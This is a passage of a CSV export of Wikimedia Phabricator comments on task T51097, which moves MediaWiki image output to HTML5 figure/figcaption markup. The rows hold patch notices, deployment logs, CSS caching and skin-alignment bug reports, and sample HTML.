+I only did a quick skim, but it wasn't clear to me how the other feature changes experienced cache invalidation. Maybe a more detailed audit is necessary.",,,1629924997,,PHID-USER-v7vgzvvcw7v2umf737ri,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,425,,1,0,0,1,1,1,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,1,1,0,1
+1773870,Use figure and figcaption HTML5 elements when possible,"Correcting my previous comment, VisualEditor will load the styles via JS if you have it enabled, so you actually need to turn that off, and then you'll find that the photo no longer jumps and stays on the (wrong) left side, even with JS enabled. So the real problem is that the skin is not loading these styles.",,,1629924192,,PHID-USER-v7vgzvvcw7v2umf737ri,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,425,,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,1,0,0
+1773869,Use figure and figcaption HTML5 elements when possible,"~~When I load https://www.mediawiki.org/wiki/MediaWiki with JS disabled the image says on the left, which confirms @thedj's theory that the correct CSS is being loaded by JS (addModules) rather than properly with addModuleStyles.~~ However, I couldn't reproduce this on https://test.wikipedia.org/wiki/Image?useskin=vector&useskinversion=1 - not sure what's different really.
+
+As to why it's happening...I have no idea. My guess is that this is another regression from the skin refactoring, {T287410} which recently touched stuff like https://gerrit.wikimedia.org/r/plugins/gitiles/mediawiki/skins/Vector/+/a50b1db7931610a038197b74ba798fe307e9055e
+
+Also for some reason Timeless has the ""content-media"" feature set to false, so it's just fully broken there AFAICT.",,,1629924129,,PHID-USER-v7vgzvvcw7v2umf737ri,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,425,,1,0,1,1,1,1,1,0,0,0,1,1,0,0,1,1,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,1,0,0,1,0,1,0,1,0,1,0,0,1,1,1,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,1,1,1,1,0,0,1,0,0,0
+1773865,Use figure and figcaption HTML5 elements when possible,"When I load https://www.mediawiki.org/wiki/MediaWiki with JS disabled the image says on the left, which confirms @thedj's theory that the correct CSS is being loaded by JS (addModules) rather than properly with addModuleStyles. However, I couldn't reproduce this on https://test.wikipedia.org/wiki/Image?useskin=vector&useskinversion=1 - not sure what's different really.
+
+As to why it's happening...I have no idea. My guess is that this is another regression from the skin refactoring, {T287410} which recently touched stuff like https://gerrit.wikimedia.org/r/plugins/gitiles/mediawiki/skins/Vector/+/a50b1db7931610a038197b74ba798fe307e9055e
+
+Also for some reason Timeless has the ""content-media"" feature set to false, so it's just fully broken there AFAICT.",,,1629923807,,PHID-USER-v7vgzvvcw7v2umf737ri,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,425,,1,0,1,1,1,1,1,0,0,0,1,1,0,0,1,1,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,1,0,0,1,0,1,0,1,0,1,0,0,1,1,1,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,1,1,1,1,0,0,1,0,0,0
+1773857,Use figure and figcaption HTML5 elements when possible,"I could be wildly off base about caching ... suffice it to say, I'm looking into it",,,1629923159,,PHID-USER-gxcjmjpejlhfnrquksm2,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,425,,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+1773843,Use figure and figcaption HTML5 elements when possible,I also see all the VE JS being loaded (with debug=true).. that's not normal.... ,,,1629922678,,PHID-USER-wrimmmr5w2zt7nk2t753,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,425,,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+1773836,Use figure and figcaption HTML5 elements when possible,"@TheDJ Thanks for reporting
+
+It looks like the issue is with the cached stylesheet
+
+https://www.mediawiki.org/w/load.php?lang=en&modules=ext.discussionTools.init.styles%7Cext.echo.styles.badge%7Cext.uls.pt%7Cext.visualEditor.desktopArticleTarget.noscript%7Cext.wikimediaBadges%7Cmediawiki.ui.button%2Cicon%7Coojs-ui.styles.icons-alerts%7Cskins.vector.icons%2Cstyles&only=styles&skin=vector
+
+If I add `?debug=true` to it, I get results for ""mw:Image""
+
+The jump is probably because until the cache is purged, the styles don't kick in until VE or whathaveyou's styles are fetched by JS.
+
+Let me see about busting the cache",,,1629921914,,PHID-USER-gxcjmjpejlhfnrquksm2,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,425,,0,0,0,1,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,1,1,0,0,1,1,0,0,0
+1773784,Use figure and figcaption HTML5 elements when possible,"ok... now thumbframes on mediawiki.org are loading late.. seems like the parsoid CSS module is not added with addModuleStyles() to ensure its loaded before the page rendering starts ?
+
+See the image on https://www.mediawiki.org/wiki/MediaWiki jump from center to right as the page loads.
+Similar on https://www.mediawiki.org/wiki/Wikimedia_Hackathon_2021",,,1629919335,,PHID-USER-wrimmmr5w2zt7nk2t753,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,425,,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,1,0,0,0,1,0,0,1
+1773711,Use figure and figcaption HTML5 elements when possible,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://sal.toolforge.org/log/jyKHfnsB8Fs0LHO5Ao6j} [2021-08-25T18:16:22Z] <urbanecm@deploy1002> Synchronized wmf-config/InitialiseSettings.php: e6df0803e4eaca91bd725bcd376b260b97917de3: Disable legacy media dom on a few more wikis (T51097) (duration: 01m 05s)",,,1629915383,,PHID-USER-j4uyesgqhubl2dywl4xd,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,425,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,1
+1773707,Use figure and figcaption HTML5 elements when possible,"Change 714635 **merged** by jenkins-bot:
+%%%[operations/mediawiki-config@master] Disable legacy media dom on a few more wikis%%%
+https://gerrit.wikimedia.org/r/714635",,,1629914814,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,425,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,1
+1773059,Use figure and figcaption HTML5 elements when possible,"Change 714635 had a related patch set uploaded (by Arlolra; author: Arlolra):
+%%%[operations/mediawiki-config@master] Disable legacy media dom on a few more wikis%%%
+https://gerrit.wikimedia.org/r/714635",,,1629844175,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,425,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0
+1762171,Use figure and figcaption HTML5 elements when possible,"@TheDJ thanks for filing those issue.  I've created or updated tasks where they can be discussed individually.
+",,,1628004330,,PHID-USER-gxcjmjpejlhfnrquksm2,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,422,,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,1,1,0,1,0,0,1,0,0,0
+1762111,Use figure and figcaption HTML5 elements when possible,"And I see a CSS reflow for videos on test.wikipedia.org. This is specifically with the videojs player, which is active on test.wp.org, not sure about the old Kaltura player.
+https://test.wikipedia.org/wiki/User:TheDJ/sandbox",,,1627999846,,PHID-USER-wrimmmr5w2zt7nk2t753,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,422,,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,1
+1762107,Use figure and figcaption HTML5 elements when possible,"Also the following features broken alignment:
+- https://test.wikipedia.org/wiki/Rusa_test_page_2?useskin=timeless
+- https://test.wikipedia.org/wiki/Rusa_test_page_2?useskin=modern
+
+As well and most importantly and I think a blocker: printing in Vector is not aligning correctly. ",,,1627999455,,PHID-USER-wrimmmr5w2zt7nk2t753,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,422,,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,0
+1762106,Use figure and figcaption HTML5 elements when possible,"Also the following features broken alignment:
+- https://test.wikipedia.org/wiki/Rusa_test_page_2?useskin=timeless
+- https://test.wikipedia.org/wiki/Rusa_test_page_2?useskin=modern
+
+As well and most importantly, printing in Vector is not aligning correctly. ",,,1627999353,,PHID-USER-wrimmmr5w2zt7nk2t753,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,422,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,0
+1762102,Use figure and figcaption HTML5 elements when possible,"I've noticed an important different between the two formats and it relates to where the emitted class is located. Before this class was applied directly to the img object, but now it seems this is on the wrapping class. While this is probably a rare use case, it's an important change and I know at least some image headers on mediawiki.org etc which likely will have to be adapted to take this into account.
+```
+[[File:Onion diagram.svg|thumb|right|300px|In this example onion, we test image placement.|class=djtest]]
+```
+```
+<figure class=""mw-halign-right djtest"" typeof=""mw:Image/Thumb""><a href=""/wiki/File:Onion_diagram.svg"" title=""""><img alt="""" src=""//upload.wikimedia.org/wikipedia/commons/thumb/e/e1/Onion_diagram.svg/300px-Onion_diagram.svg.png"" decoding=""async"" width=""300"" height=""197"" srcset=""//upload.wikimedia.org/wikipedia/commons/thumb/e/e1/Onion_diagram.svg/450px-Onion_diagram.svg.png 1.5x, //upload.wikimedia.org/wikipedia/commons/thumb/e/e1/Onion_diagram.svg/600px-Onion_diagram.svg.png 2x"" data-file-width=""875"" data-file-height=""575""></a><figcaption>In this example onion, we test image placement.</figcaption></figure>
+```
+
+```
+<div class=""thumb tright""><div class=""thumbinner"" style=""width:302px;""><a href=""/wiki/File:Onion_diagram.svg"" class=""image"" title=""""><img alt="""" src=""//upload.wikimedia.org/wikipedia/commons/thumb/e/e1/Onion_diagram.svg/300px-Onion_diagram.svg.png"" decoding=""async"" width=""300"" height=""197"" class=""djtest thumbimage"" srcset=""//upload.wikimedia.org/wikipedia/commons/thumb/e/e1/Onion_diagram.svg/450px-Onion_diagram.svg.png 1.5x, //upload.wikimedia.org/wikipedia/commons/thumb/e/e1/Onion_diagram.svg/600px-Onion_diagram.svg.png 2x"" data-file-width=""875"" data-file-height=""575""></a>  <div class=""thumbcaption""><div class=""magnify""><a href=""/wiki/File:Onion_diagram.svg"" class=""internal"" title=""Enlarge""></a></div>In this example onion, we test image placement.</div></div></div>
+```",,,1627999209,,PHID-USER-wrimmmr5w2zt7nk2t753,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,422,,1,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,1,1
+1746248,Use figure and figcaption HTML5 elements when possible,"With the train going out to [[ https://wikitech.wikimedia.org/wiki/Deployments/Train#Group_0 | group 0 ]] today, we can look at two wikis which should be configured differently based on T51097#7182465,
+
+I verified that this is indeed running on testwiki.  For example, after an `?action=purge` on https://test.wikipedia.org/wiki/Rusa_test_page_2 I see,
+
+```
+<figure class=""mw-halign-right"" typeof=""mw:Image/Thumb""><a href=""/wiki/File:Onion_diagram.svg""><img alt="""" src=""//upload.wikimedia.org/wikipedia/commons/thumb/e/e1/Onion_diagram.svg/300px-Onion_diagram.svg.png"" decoding=""async"" width=""300"" height=""197"" srcset=""//upload.wikimedia.org/wikipedia/commons/thumb/e/e1/Onion_diagram.svg/450px-Onion_diagram.svg.png 1.5x, //upload.wikimedia.org/wikipedia/commons/thumb/e/e1/Onion_diagram.svg/600px-Onion_diagram.svg.png 2x"" data-file-width=""875"" data-file-height=""575""></a><figcaption>In this example onion, we test image placement.</figcaption></figure>
+```
+
+However, on mediawikiwiki, after similarly purging we get on https://www.mediawiki.org/wiki/Parsoid
+
+```
+<div class=""thumb tright""><div class=""thumbinner"" style=""width:514px;""><a href=""/wiki/File:Parsoid_HTML-RDFa_content_model.svg"" class=""image""><img alt="""" src=""//upload.wikimedia.org/wikipedia/commons/thumb/2/2e/Parsoid_HTML-RDFa_content_model.svg/512px-Parsoid_HTML-RDFa_content_model.svg.png"" decoding=""async"" width=""512"" height=""362"" class=""thumbimage"" data-file-width=""512"" data-file-height=""362""></a>  <div class=""thumbcaption"">Artist's impression of the Parsoid HTML5 + RDFa wiki runtime</div></div></div>
+```",,,1625002036,,PHID-USER-gxcjmjpejlhfnrquksm2,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,417,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,1,0,1,1,1,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,0,1
+1745581,Use figure and figcaption HTML5 elements when possible,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://sal.toolforge.org/log/MmnfVHoB1jz_IcWuBfm2} [2021-06-28T23:05:39Z] <urbanecm@deploy1002> Synchronized wmf-config/InitialiseSettings.php: 5ec855d14b31a9392274c2bfe2e21e2ad44986bc: Enable Parsoid inspired media structure on test wikis (T51097) (duration: 00m 59s)",,,1624921541,,PHID-USER-j4uyesgqhubl2dywl4xd,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,417,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+1745579,Use figure and figcaption HTML5 elements when possible,"Change 701612 **merged** by jenkins-bot:
+%%%[operations/mediawiki-config@master] Enable Parsoid inspired media structure on test wikis%%%
+https://gerrit.wikimedia.org/r/701612",,,1624921358,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,417,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+1744676,Use figure and figcaption HTML5 elements when possible,"Change 701612 had a related patch set uploaded (by Arlolra; author: Arlolra):
+%%%[operations/mediawiki-config@master] Disable legacy media structure on test wikis%%%
+https://gerrit.wikimedia.org/r/701612",,,1624655511,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,416,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+1744273,Use figure and figcaption HTML5 elements when possible,"Change 507512 **merged** by jenkins-bot:
+%%%[mediawiki/core@master] Emit media structure as piloted in Parsoid%%%
+https://gerrit.wikimedia.org/r/507512",,,1624580053,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,416,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+1744157,Use figure and figcaption HTML5 elements when possible,"Change 701449 **merged** by jenkins-bot:
+%%%[mediawiki/core@master] Add <figure> to the never suppressing group in BlockLevelPass%%%
+https://gerrit.wikimedia.org/r/701449",,,1624563463,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,416,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+1744139,Use figure and figcaption HTML5 elements when possible,"Change 701449 had a related patch set uploaded (by Arlolra; author: Arlolra):
+%%%[mediawiki/core@master] Add <figure> to the never suppressing group in BlockLevelPass%%%
+https://gerrit.wikimedia.org/r/701449",,,1624562043,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,416,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+1696981,Use figure and figcaption HTML5 elements when possible,https://gerrit.wikimedia.org/r/c/507512 is the only open patch remaining.,,,1617354427,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,404,,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0
+1645454,Use figure and figcaption HTML5 elements when possible,"Change 647318 **abandoned** by Arlolra:
+[mediawiki/core@master] Update tests for $wgParserOutputLegacyMediaDOM
+
+Reason:
+These are now in I978187f9f6e9e0a105521ab3e26821e36a96b911
+
+https://gerrit.wikimedia.org/r/647318",,,1610568452,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,393,,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+1635100,Use figure and figcaption HTML5 elements when possible,"Change 647318 had a related patch set uploaded (by Arlolra; owner: Arlolra):
+[mediawiki/core@master] Update tests for $wgUseNewMediaStructure
+
+https://gerrit.wikimedia.org/r/647318",,,1608245687,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,389,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+1633208,Use figure and figcaption HTML5 elements when possible,"> But @Arlolra seems to have found the exception to that rule which we've all forgotten; I await with bated breath.
+
+My confusion was that `mw:Image(/Frameless)` aren't always inline, for example if they have explicit options like `|right`.  In which case, we'd emit a figure but hide the caption to match the output from the legacy parser.",,,1608047326,,PHID-USER-gxcjmjpejlhfnrquksm2,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,389,,1,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,1,0,0,1,0,1,1,0,0,0,1,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,1,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+1633202,Use figure and figcaption HTML5 elements when possible,"From an accessibility standpoint, there may be reasons to emit a descriptive `<figcaption>` even if it is not visible to a sighted user.
+
+That said, my understanding was that we couldn't actually do that because the figcaption could contain (eg) `<p>` tags that would break rendering in an inline context (where captions are normally hidden) and so we don't/can't actually emit the figcaption unless it is visible.  But @Arlolra seems to have found the exception to that rule which we've all forgotten; I await with bated breath.
+
+And (at the risk of continuing @ssastry's drift off-topic), in addition to fragmentation issues, improving the functionality of client-side gadgets is one reason to avoid unnecessary read-view transformations. (Ultimately, fast editing is also benefited if VE can operate with the rendered content instead of having to reload content at editor startup.  The idea is that VE only needs to load the (fairly small) data-mw associated w/ the region being edited at startup.)",,,1608046662,,PHID-USER-m2ezqyeb4uz67zq6bats,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,389,,1,0,0,1,1,1,1,1,0,1,1,1,0,1,1,1,1,1,1,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,1,0,1,0,1,1,0,0,0,1,0,1,0,1,0,1,1,1,1,0,0,0,0,1,1,1,1,1,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,1
+1633196,Use figure and figcaption HTML5 elements when possible,"From an accessibility standpoint, there may be reasons to emit a descriptive `<figcaption>` even if it is not visible to a sighted user.
+
+That said, my understanding was that we couldn't actually do that because the figcaption could contain (eg) `<p>` tags that would break rendering in an inline context (where captions are normally hidden) and so we don't/can't actually emit the figcaption unless it is visible.  But @Arlolra seems to have found the exception to that rule which we've all forgotten; I await with bated breath.",,,1608046292,,PHID-USER-m2ezqyeb4uz67zq6bats,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,389,,1,0,0,1,1,1,1,1,0,1,1,1,0,0,1,1,1,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,1,0,0,1,0,0,0,1,0,1,0,1,0,1,1,1,1,0,0,0,0,1,1,0,1,1,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,1
+1633179,Use figure and figcaption HTML5 elements when possible,">>! In T51097#6690931, @Arlolra wrote:
+> I said this because I think the place where the stylesheet is saying to hide the figcaption is misleading.  Those are inline images where it isn't even emitted and the content is placed in the data-mw.
+
+Whoops, that's not true at all
+
+>>! In T51097#6690934, @ssastry wrote:
+> Are you saying I wasted my time there? :-) I should have stuck to my netflix movie instead of trying to check mail late in the evening.
+
+Only in so much as you wouldn't have goaded me into making blankly false statements",,,1608045476,,PHID-USER-gxcjmjpejlhfnrquksm2,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,389,,1,0,0,1,1,1,1,1,0,0,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,1,1,1,1,1,0,1,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,0,1,1,0,0,1
+1632855,Use figure and figcaption HTML5 elements when possible,">>! In T51097#6690931, @Arlolra wrote:
+> ... but just cautioning about using specific examples.
+
+Are you saying I wasted my time there? :-) I should have stuck to my netflix movie instead of trying to check mail late in the evening.",,,1608002858,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,389,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,0,1,1,0,0,0,0,1,0,0,1
+1632853,Use figure and figcaption HTML5 elements when possible,"> I think we should file individual tasks for these things so they can be researched more thoroughly.
+
